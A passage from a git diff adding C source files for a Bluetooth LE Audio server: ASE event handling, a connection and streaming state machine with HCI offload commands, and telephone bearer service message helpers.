BT_STATUS_NOMEM; + + lea_server_state_machine_dispatch(leas_sm, msg); + } + } + + return BT_STATUS_SUCCESS; +} + +void lea_server_on_ascs_event(bt_address_t* addr, uint8_t id, uint8_t state, uint16_t type) +{ + lea_server_device_t* device; + lea_server_event_t event; + + device = find_lea_server_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device(%s) not exist", __func__, bt_addr_str(addr)); + return; + } + + update_server_ase(device, id, state, type); + switch (state) { + case ADPT_LEA_ASE_STATE_IDLE: { + event = STACK_EVENT_ASE_IDLE; + } break; + case ADPT_LEA_ASE_STATE_CODEC_CONFIG: { + event = STACK_EVENT_ASE_CODEC_CONFIG; + } break; + case ADPT_LEA_ASE_STATE_QOS_CONFIG: { + event = STACK_EVENT_ASE_QOS_CONFIG; + } break; + case ADPT_LEA_ASE_STATE_ENABLING: { + event = STACK_EVENT_ASE_ENABLING; + } break; + case ADPT_LEA_ASE_STATE_STREAMING: { + event = STACK_EVENT_ASE_STREAMING; + } break; + case ADPT_LEA_ASE_STATE_DISABLING: { + event = STACK_EVENT_ASE_DISABLING; + } break; + case ADPT_LEA_ASE_STATE_RELEASING: { + event = STACK_EVENT_ASE_RELEASING; + } break; + default: { + BT_LOGE("%s, unexpect state:%d", __func__, state); + return; + }; + } + + lea_server_send_event(addr, event); +} + +void lea_server_on_csis_lock_state_changed(uint32_t csis_id, bt_address_t* addr, uint8_t lock) +{ + char* state[] = { "NA", "Unlocked", "Locked" }; + BT_LOGD("%s, addr:%s(%s)", __func__, bt_addr_str(addr), state[lock]); +} + +bool lea_server_on_pacs_info_request(lea_pacs_info_t* pacs_info) +{ + lea_server_service_t* service = &g_lea_server_service; + + pacs_info->pac_number = sizeof(g_pacs_info) / sizeof(g_pacs_info[0]); + pacs_info->pac_list = g_pacs_info; + + pacs_info->sink_location = service->sink_location; + pacs_info->supported_ctx.sink = LEAS_CONTEXT_TYPE_ALL; + pacs_info->available_ctx.sink = LEAS_CONTEXT_TYPE_ALL; + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER_SOURCE + pacs_info->source_location = service->source_location; + pacs_info->supported_ctx.source = CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX | ADPT_LEA_CONTEXT_TYPE_UNSPECIFIED; + pacs_info->available_ctx.source = CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX | ADPT_LEA_CONTEXT_TYPE_UNSPECIFIED; +#endif + + return true; +} + +bool lea_server_on_ascs_info_request(lea_ascs_info_t* ascs_info) +{ + ascs_info->sink_ase_number = CONFIG_BLUETOOTH_LEAUDIO_SERVER_SINK_ASE_NUMBER; + ascs_info->source_ase_number = CONFIG_BLUETOOTH_LEAUDIO_SERVER_SOURCE_ASE_NUMBER; + + return true; +} + +bool lea_server_on_bass_info_request(lea_bass_info_t* bass_info) +{ + bass_info->bass_number = CONFIG_BLUETOOTH_LEAUDIO_SERVER_BASS_STATE_NUMBER; + return true; +} + +bool lea_server_on_csis_info_request(lea_csis_infos_t* csis_info) +{ + uint8_t number; + lea_csis_info_t* info; + + number = sizeof(g_csis_info) / sizeof(g_csis_info[0]); + csis_info->csis_number = number; + csis_info->csis_info = g_csis_info; + +#if defined(CONFIG_KVDB) && defined(__NuttX__) + for (uint8_t index = 0; index < number; index++) { + info = &g_csis_info[index]; + info->set_size = property_get_int32("persist.bluetooth.csis.set_size", 1); + info->rank = property_get_int32("persist.bluetooth.csis.rank", 1); + property_get_buffer("persist.bluetooth.csis.set_sirk", info->sirk, 16); + } +#endif + + return true; +} + +static const profile_service_t lea_server_service = { + .auto_start = true, + .name = PROFILE_LEA_SERVER_NAME, + .id = PROFILE_LEAUDIO_SERVER, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_server_init, + .startup = lea_server_startup, + .shutdown = lea_server_shutdown, + .process_msg = lea_server_process_msg, + .get_state = NULL, + .get_profile_interface = get_leas_profile_interface, + .cleanup = lea_server_cleanup, + .dump = lea_server_dump, +}; + +void register_lea_server_service(void) +{ + register_service(&lea_server_service); +} diff --git a/service/profiles/leaudio/server/lea_server_state_machine.c b/service/profiles/leaudio/server/lea_server_state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..ce4a956c364d04785938515d97646ad69e3a6d23 --- /dev/null +++ b/service/profiles/leaudio/server/lea_server_state_machine.c @@ -0,0 +1,742 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_server_stm" + +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_addr.h" +#include "bt_lea_server.h" +#include "bt_list.h" +#include "hci_parser.h" +#include "lea_audio_sink.h" +#include "lea_audio_source.h" +#include "lea_server_service.h" +#include "lea_server_state_machine.h" +#include "sal_interface.h" +#include "sal_lea_server_interface.h" +#include "service_loop.h" + +#include "bt_utils.h" +#include "utils/log.h" + +typedef enum pending_state { + PENDING_NONE = 0x0, + PENDING_START = 0X02, + PENDING_STOP = 0x04, + PENDING_OFFLOAD_START = 0x08, + PENDING_OFFLOAD_STOP = 0x10, +} pending_state_t; + +typedef struct _lea_server_state_machine { + state_machine_t sm; + bool offloading; + pending_state_t pending; + bt_address_t addr; + void* service; + service_timer_t* offload_timer; +} lea_server_state_machine_t; + +#define LEA_SERVER_OFFLOAD_TIMEOUT 500 +#define LEA_SERVER_STM_DEBUG 1 + +#if LEA_SERVER_STM_DEBUG +static void lea_server_trans_debug(state_machine_t* sm, bt_address_t* addr, + const char* action); +static void lea_server_event_debug(state_machine_t* sm, bt_address_t* addr, + uint32_t event); +static const char* stack_event_to_string(lea_server_event_t event); + +#define LEAS_DBG_ENTER(__sm, __addr) lea_server_trans_debug(__sm, __addr, "Enter") +#define LEAS_DBG_EXIT(__sm, __addr) lea_server_trans_debug(__sm, __addr, "Exit ") +#define LEAS_DBG_EVENT(__sm, __addr, __event) lea_server_event_debug(__sm, __addr, __event); +#else +#define LEAS_DBG_ENTER(__sm, __addr) +#define LEAS_DBG_EXIT(__sm, __addr) +#define LEAS_DBG_EVENT(__sm, __addr, __event) +#endif + +extern bt_status_t lea_server_send_message(lea_server_msg_t* msg); + +static void closed_enter(state_machine_t* sm); +static void closed_exit(state_machine_t* sm); +static void opening_enter(state_machine_t* sm); +static void opening_exit(state_machine_t* sm); +static void opened_enter(state_machine_t* sm); +static void opened_exit(state_machine_t* sm); +static void started_enter(state_machine_t* sm); +static void started_exit(state_machine_t* sm); +static void closing_enter(state_machine_t* sm); +static void closing_exit(state_machine_t* sm); + +static bool closed_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool opening_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool opened_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool started_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool closing_process_event(state_machine_t* sm, uint32_t event, + void* p_data); + +static bool flag_isset(lea_server_state_machine_t* leas_sm, pending_state_t flag); +static void flag_set(lea_server_state_machine_t* leas_sm, pending_state_t flag); +static void flag_clear(lea_server_state_machine_t* leas_sm, pending_state_t flag); + +static const state_t closed_state = { + .state_name = "Closed", + .enter = closed_enter, + .exit = closed_exit, + .process_event = closed_process_event, +}; + +static const state_t opening_state = { + .state_name = "Opening", + .enter = opening_enter, + .exit = opening_exit, + .process_event = opening_process_event, +}; + +static const state_t opened_state = { + .state_name = "Opened", + .enter = opened_enter, + .exit = opened_exit, + .process_event = opened_process_event, +}; + +static const state_t started_state = { + .state_name = "Started", + .enter = started_enter, + .exit = started_exit, + .process_event = started_process_event, +}; + +static const state_t closing_state = { + .state_name = "Closing", + .enter = closing_enter, + .exit = closing_exit, + .process_event = closing_process_event, +}; + +#if LEA_SERVER_STM_DEBUG +static void lea_server_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s State=%s, Peer=[%s]", action, hsm_get_current_state_name(sm), addr_str); +} + +static void lea_server_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("ProcessEvent, State=%s, Peer=[%s], Event=%s", hsm_get_current_state_name(sm), + addr_str, stack_event_to_string(event)); +} + +static const char* stack_event_to_string(lea_server_event_t event) +{ + switch (event) { + CASE_RETURN_STR(DISCONNECT) + CASE_RETURN_STR(CONFIG_CODEC) + CASE_RETURN_STR(STARTUP) + CASE_RETURN_STR(SHUTDOWN) + CASE_RETURN_STR(TIMEOUT) + CASE_RETURN_STR(OFFLOAD_START_REQ) + CASE_RETURN_STR(OFFLOAD_STOP_REQ) + CASE_RETURN_STR(OFFLOAD_START_EVT) + CASE_RETURN_STR(OFFLOAD_STOP_EVT) + CASE_RETURN_STR(OFFLOAD_TIMEOUT) + CASE_RETURN_STR(STACK_EVENT_STACK_STATE) + CASE_RETURN_STR(STACK_EVENT_CONNECTION_STATE) + CASE_RETURN_STR(STACK_EVENT_METADATA_UPDATED) + CASE_RETURN_STR(STACK_EVENT_STORAGE) + CASE_RETURN_STR(STACK_EVENT_SERVICE) + CASE_RETURN_STR(STACK_EVENT_STREAM_ADDED) + CASE_RETURN_STR(STACK_EVENT_STREAM_REMOVED) + CASE_RETURN_STR(STACK_EVENT_STREAM_STARTED) + CASE_RETURN_STR(STACK_EVENT_STREAM_STOPPED) + CASE_RETURN_STR(STACK_EVENT_STREAM_RESUME) + CASE_RETURN_STR(STACK_EVENT_STREAM_SUSPEND) + CASE_RETURN_STR(STACK_EVENT_STREAN_RECV) + CASE_RETURN_STR(STACK_EVENT_STREAN_SENT) + CASE_RETURN_STR(STACK_EVENT_ASE_CODEC_CONFIG) + CASE_RETURN_STR(STACK_EVENT_ASE_QOS_CONFIG) + CASE_RETURN_STR(STACK_EVENT_ASE_ENABLING) + CASE_RETURN_STR(STACK_EVENT_ASE_STREAMING) + CASE_RETURN_STR(STACK_EVENT_ASE_DISABLING) + CASE_RETURN_STR(STACK_EVENT_ASE_RELEASING) + CASE_RETURN_STR(STACK_EVENT_ASE_IDLE) + CASE_RETURN_STR(STACK_EVENT_INIT) + CASE_RETURN_STR(STACK_EVENT_ANNOUNCE) + CASE_RETURN_STR(STACK_EVENT_DISCONNECT) + CASE_RETURN_STR(STACK_EVENT_CLEANUP) + default: + return "UNKNOWN_HF_EVENT"; + } +} +#endif + +static bool flag_isset(lea_server_state_machine_t* leas_sm, pending_state_t flag) +{ + return (bool)(leas_sm->pending & flag); +} + +static void flag_set(lea_server_state_machine_t* leas_sm, pending_state_t flag) +{ + leas_sm->pending |= flag; +} + +static void flag_clear(lea_server_state_machine_t* leas_sm, pending_state_t flag) +{ + leas_sm->pending &= ~flag; +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)context; + lea_server_msg_t* msg; + lea_server_event_t event; + + BT_LOGD("%s, evt_code:0x%x, len:%d", __func__, hci_event->evt_code, + hci_event->length); + BT_DUMPBUFFER("vsc", (uint8_t*)hci_event->params, hci_event->length); + + if (flag_isset(leas_sm, PENDING_OFFLOAD_START)) { + event = OFFLOAD_START_EVT; + flag_clear(leas_sm, PENDING_OFFLOAD_START); + } else if (flag_isset(leas_sm, PENDING_OFFLOAD_STOP)) { + event = OFFLOAD_STOP_EVT; + flag_clear(leas_sm, PENDING_OFFLOAD_STOP); + } else { + return; + } + + msg = lea_server_msg_new_ext(event, &leas_sm->addr, hci_event, sizeof(bt_hci_event_t) + hci_event->length); + if (!msg) { + BT_LOGE("error, hci event lea_server_msg_new_ext"); + return; + } + + lea_server_send_message(msg); +} + +static void lea_offload_config_timeout_callback(service_timer_t* timer, void* data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)data; + lea_server_msg_t* msg; + + msg = lea_server_msg_new(OFFLOAD_TIMEOUT, &leas_sm->addr); + if (!msg) { + BT_LOGE("error, offload config lea_server_msg_new"); + return; + } + + lea_server_state_machine_dispatch(leas_sm, msg); + lea_server_msg_destory(msg); +} + +static void closed_enter(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); + if (hsm_get_previous_state(sm)) { + lea_server_notify_connection_state_changed(&leas_sm->addr, + PROFILE_STATE_DISCONNECTED); + } +} + +static void closed_exit(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool closed_process_event(state_machine_t* sm, uint32_t event, + void* p_data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + lea_server_data_t* data = (lea_server_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = (profile_connection_state_t)data->valueint1; + switch (state) { + case PROFILE_STATE_CONNECTED: { + lea_server_notify_connection_state_changed(&leas_sm->addr, state); + hsm_transition_to(sm, &opening_state); + break; + } + case PROFILE_STATE_DISCONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + break; + } + default: + break; + } + + return true; +} + +static void opening_enter(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void opening_exit(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool opening_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + lea_server_data_t* data = (lea_server_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + break; + } + case STACK_EVENT_STREAM_ADDED: { + lea_server_add_stream(data->valueint1, &leas_sm->addr); + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_server_remove_stream(data->valueint1); + break; + } + case STACK_EVENT_ASE_CODEC_CONFIG: { + break; + } + case STACK_EVENT_ASE_QOS_CONFIG: { + hsm_transition_to(sm, &opened_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closing_state); + break; + } + default: + break; + } + + return true; +} + +static void opened_enter(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void opened_exit(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static void lea_server_stop_audio(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("failed, stream_id:0x%08x not found", stream_id); + return; + } + + stream->started = false; + if (stream->is_source) { + lea_audio_source_stop(true); + } else { + lea_audio_sink_stop(true); + } +} + +static void lea_server_stop_offload_req(lea_server_state_machine_t* leas_sm, lea_server_data_t* data) +{ + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + BT_DUMPBUFFER("stop req vsc", (uint8_t*)data->data, data->size); + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(leas_sm, PENDING_OFFLOAD_STOP); + + bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, + leas_sm); +} + +static bool opened_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + lea_server_data_t* data = (lea_server_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + break; + } + case STACK_EVENT_ASE_QOS_CONFIG: { + break; + } + case STACK_EVENT_ASE_ENABLING: { + if (leas_sm->offloading) { + break; + } + hsm_transition_to(sm, &started_state); + break; + } + case OFFLOAD_START_REQ: { + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + BT_DUMPBUFFER("start req vsc", (uint8_t*)data->data, data->size); + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = service_loop_timer(LEA_SERVER_OFFLOAD_TIMEOUT, 0, lea_offload_config_timeout_callback, leas_sm); + + bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, + leas_sm); + break; + } + case OFFLOAD_START_EVT: { + bt_hci_event_t* hci_event; + hci_error_t status; + + hci_event = data->data; + if (leas_sm->offload_timer) { + service_loop_cancel_timer(leas_sm->offload_timer); + leas_sm->offload_timer = NULL; + } + + status = hci_get_result(hci_event); + if (status != HCI_SUCCESS) { + BT_LOGE("LEA_SERVER_OFFLOAD_START fail, status:0x%0x", status); + break; + } + + hsm_transition_to(sm, &started_state); + break; + } + case OFFLOAD_TIMEOUT: { + flag_clear(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = NULL; + break; + } + case OFFLOAD_STOP_REQ: { + lea_server_stop_offload_req(leas_sm, data); + break; + } + case OFFLOAD_STOP_EVT: { + break; + } + case STACK_EVENT_ASE_CODEC_CONFIG: { + hsm_transition_to(sm, &opening_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closing_state); + break; + } + case STACK_EVENT_STREAM_ADDED: { + lea_server_add_stream(data->valueint1, &leas_sm->addr); + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_server_remove_stream(data->valueint1); + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_server_stop_audio(data->valueint1); + break; + } + default: + break; + } + + return true; +} + +static void started_enter(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); + if (leas_sm->offloading) { + lea_server_streams_started(&leas_sm->addr); + } +} + +static void started_exit(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool started_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + lea_server_data_t* data = (lea_server_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + break; + } + case STACK_EVENT_ASE_STREAMING: { + break; + } + case STACK_EVENT_STREAM_RESUME: { + break; // todo resume stream + } + case STACK_EVENT_STREAM_SUSPEND: { + break; // todo suspend stream + } + case STACK_EVENT_ASE_QOS_CONFIG: { + hsm_transition_to(sm, &opened_state); + break; + } + case STACK_EVENT_STREAM_STARTED: { + lea_audio_stream_t* audio_stream = (lea_audio_stream_t*)data->data; + lea_audio_config_t* audio_config; + + audio_config = lea_codec_get_config(audio_stream->is_source); + if (!audio_config) { + break; + } + + if (audio_stream->is_source) { + lea_audio_source_update_codec(audio_config, audio_stream->sdu_size); + } else { + lea_audio_sink_update_codec(audio_config, audio_stream->sdu_size); + lea_audio_sink_start(); + } + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_server_stop_audio(data->valueint1); + break; + } + case STACK_EVENT_ASE_DISABLING: { + hsm_transition_to(sm, &closing_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closing_state); + break; + } + case OFFLOAD_STOP_REQ: { + lea_server_stop_offload_req(leas_sm, data); + break; + } + case OFFLOAD_TIMEOUT: { + flag_clear(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = NULL; + break; + } + case OFFLOAD_STOP_EVT: { + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_server_remove_stream(data->valueint1); + break; + } + default: + break; + } + + return true; +} + +static void closing_enter(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void closing_exit(state_machine_t* sm) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool closing_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_server_state_machine_t* leas_sm = (lea_server_state_machine_t*)sm; + lea_server_data_t* data = (lea_server_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + break; + } + case STACK_EVENT_ASE_CODEC_CONFIG: { + hsm_transition_to(sm, &opening_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closing_state); + break; + } + case OFFLOAD_STOP_REQ: { + lea_server_stop_offload_req(leas_sm, data); + break; + } + case OFFLOAD_TIMEOUT: { + flag_clear(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = NULL; + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_server_remove_stream(data->valueint1); + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_server_stop_audio(data->valueint1); + break; + } + default: + break; + } + + return true; +} + +lea_server_state_machine_t* lea_server_state_machine_new(bt_address_t* addr, + void* context) +{ + lea_server_state_machine_t* leasm; + + leasm = (lea_server_state_machine_t*)malloc( + sizeof(lea_server_state_machine_t)); + if (!leasm) + return NULL; + + memset(leasm, 0, sizeof(lea_server_state_machine_t)); + leasm->service = context; + memcpy(&leasm->addr, addr, sizeof(bt_address_t)); + + hsm_ctor(&leasm->sm, (state_t*)&closed_state); + + return leasm; +} + +void lea_server_state_machine_destory(lea_server_state_machine_t* leasm) +{ + if (!leasm) + return; + + hsm_dtor(&leasm->sm); + free((void*)leasm); +} + +void lea_server_state_machine_dispatch(lea_server_state_machine_t* leasm, + lea_server_msg_t* msg) +{ + if (!leasm || !msg) + return; + + hsm_dispatch_event(&leasm->sm, msg->event, &msg->data); +} + +uint32_t lea_server_state_machine_get_state(lea_server_state_machine_t* leasm) +{ + return hsm_get_current_state_value(&leasm->sm); +} + +void lea_server_state_machine_set_offloading(lea_server_state_machine_t* leasm, bool offloading) +{ + leasm->offloading = offloading; +} diff --git a/service/profiles/leaudio/tbs/lea_tbs_event.c b/service/profiles/leaudio/tbs/lea_tbs_event.c new file mode 100644 index 0000000000000000000000000000000000000000..fb285f0b5175778c98f27761939ab9f549e1bc68 --- /dev/null +++ b/service/profiles/leaudio/tbs/lea_tbs_event.c @@ -0,0 +1,44 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "lea_tbs_event.h" + +lea_tbs_msg_t* lea_tbs_msg_new(lea_tbs_event_t event, uint32_t tbs_id) +{ + return lea_tbs_msg_new_ext(event, tbs_id, 0); +} + +lea_tbs_msg_t* lea_tbs_msg_new_ext(lea_tbs_event_t event, uint32_t tbs_id, size_t size) +{ + lea_tbs_msg_t* tbs_event; + + tbs_event = (lea_tbs_msg_t*)malloc(sizeof(lea_tbs_msg_t) + size); + if (tbs_event == NULL) + return NULL; + + tbs_event->event = event; + memset(&tbs_event->event_data, 0, sizeof(tbs_event->event_data) + size); + tbs_event->event_data.tbs_id = tbs_id; + + return tbs_event; +} + +void lea_tbs_msg_destory(lea_tbs_msg_t* tbs_msg) +{ + free(tbs_msg); +} diff --git a/service/profiles/leaudio/tbs/lea_tbs_service.c b/service/profiles/leaudio/tbs/lea_tbs_service.c new file mode 100644 index 0000000000000000000000000000000000000000..538aad32e166e5e0ffdad51272356604389e7b21 --- /dev/null +++ b/service/profiles/leaudio/tbs/lea_tbs_service.c @@ -0,0 +1,827 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_tbs_service" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_tbs.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_audio_common.h" +#include "lea_tbs_event.h" +#include "lea_tbs_service.h" +#include "lea_tbs_tele_service.h" +#include "sal_lea_tbs_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "tapi.h" +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS +/**************************************************************************** + * Private Data + ****************************************************************************/ + +#define CHECK_ENABLED() \ + { \ + if (!g_tbs_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define TBS_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_tbs_callbacks_t, _cback, ##__VA_ARGS__) + +static uint32_t lea_tbs_id = ADPT_LEA_GTBS_ID; + +typedef struct +{ + bool started; + callbacks_list_t* callbacks; + pthread_mutex_t tbs_lock; +} lea_tbs_service_t; + +static lea_tbs_service_t g_tbs_service = { + .started = false, + .callbacks = NULL, +}; + +/**************************************************************************** + * LEA TBS Interface + ****************************************************************************/ +bt_status_t lea_tbs_call_control_response(uint8_t call_index, lea_adpt_call_control_result_t result); + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static void lea_tbs_process_debug(lea_tbs_msg_t* msg) +{ + switch (msg->event) { + case STACK_EVENT_TBS_STATE_CHANGED: { + BT_LOGD("%s, event:%d, tbs_id:%d, ccid:%d, added:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8, + msg->event_data.valuebool); + break; + } + case STACK_EVENT_BEARER_SET_CHANED: { + BT_LOGD("%s, event:%d, tbs_id:%d, result:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valuebool); + break; + } + case STACK_EVENT_CALL_ADDED: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d, result:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8, + msg->event_data.valuebool); + break; + } + case STACK_EVENT_CALL_REMOVED: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8); + break; + } + case STACK_EVENT_ACCEPT_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8); + break; + } + case STACK_EVENT_TERMINATE_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8); + break; + } + case STACK_EVENT_LOCAL_HOLD_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8); + 